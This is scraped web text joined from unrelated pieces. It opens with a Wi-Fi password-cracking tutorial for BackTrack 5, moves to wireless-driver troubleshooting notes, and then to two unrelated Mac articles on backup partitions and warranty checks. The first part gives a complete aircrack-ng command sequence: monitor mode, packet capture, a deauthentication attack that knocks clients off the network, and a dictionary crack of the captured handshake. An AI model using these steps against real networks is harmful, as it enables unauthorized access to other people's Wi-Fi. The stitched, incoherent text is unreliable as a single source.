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How to crack a WPA encypted wifi Network with Backtrack 5

This is a tutorial on how to crack a WPA encrypted password. This information should only be used for education purposes.

Steps:
1)airmon-ng
2)airmon-ng start wlan0
3)airodump-ng mon0
4)airodump-ng -c (channel) -w (file name) --bssid (bssid) mon0
5)aireplay-ng -0 5 -a (bssid) mon0
6)aircrack-ng (filename)*.cap -w (dictionary location)

Plug in your USB wireless card into BackTrack.

Wait for a few seconds, and type: dmesg| tail -20

Enabling b43 drivers in BT5 R2 & R3 will require recompiling your kernel. root@bt:~# apt-get dist-upgrade root@bt:~# prepare-kernel-sources root@bt:/usr/src/linux# zcat /proc/config.gz > .config root@bt:/usr/src/linux# make menuconfig

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1 RTL8187 (new mac80211 driver)
1.1 SIOCSIFFLAGS Unknown error 132
2 R8187 (old IEEE driver)
2.1 Problems with the r8187 legacy driver

RTL8187 (new mac80211 driver)

This driver is considered stable and working with most aircrack-ng attacks and is loaded by default.
To manually load the driver root@bt:~# modprobe rtl8187

Use the following commands to force the card into an enabled state: root@bt:~# rmmod rtl8187 root@bt:~# rfkill block all root@bt:~# rfkill unblock all root@bt:~# modprobe rtl8187 root@bt:~# rfkill unblock all root@bt:~# ifconfig wlan0 up

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Add a clone partition to your backup drive

In case you missed it, March 31st was World Backup Day, a big topic of discussion on the last few Talkcasts, which culminated in a visit by the team at Dolly Drive.

Inspired by the conversation, I wanted to create a clone-sized partition to mirror my SSD. I had an extra external drive on my desk but, like most, it already had some important data on it. In this video I will show you how to add a partition to an existing drive so it can be repurposed to make a clone of your boot drive.

I'll be using Dolly Drive Revo, a free Dolly Drive 10 GB Account and Disk Utility in Mountain Lion. The actual cloning can also be done with Carbon Copy Cloner or Super Duper! if you prefer.

Warning: Before you attempt any disc-related modifications, please be sure to have a backup of the data contained on that drive.

Mac 101: Checking your Mac's warranty status

Every newly purchased Mac comes with a one-year limited warranty and 90 days of complimentary telephone technical support from Apple. Of course, by purchasing AppleCare with your new Mac, you can extend this warranty and telephone technical support to three years, but it will cost you extra.

How do you find out if your Mac is still in its first year of warranty or covered by AppleCare for an additional two years? Simple! Go to Apple's Service and Support Coverage page and enter your Mac's serial number. You'll get a break down of your warranty based on the date your Mac was purchased. Where do you find your Mac's serial number? You'll find it in About This Mac (here's how).

Or for an even easier way -- because remembering and grabbing your Mac's serial number can be a bother -- download WozWas's Mac Warranty Status Script, which grabs your Mac's serial number and enters it into Apple's Service and Support Coverage page for you. All with one simple click.

Knowing whether your Mac is in warranty can be really helpful, should something go wrong. It's also particularly useful to know the status of a Mac's warranty if you're planning on buying second-hand. Remember, warranty and AppleCare coverage stays with a Mac until it expires.

There are different views on whether AppleCare is worth the cost, but regardless, a general rule of thumb is that if you can afford it, you should get it. Though Macs are great, if / when something goes wrong, it can be expensive to repair. AppleCare provides you with peace of mind and first-rate support from Apple.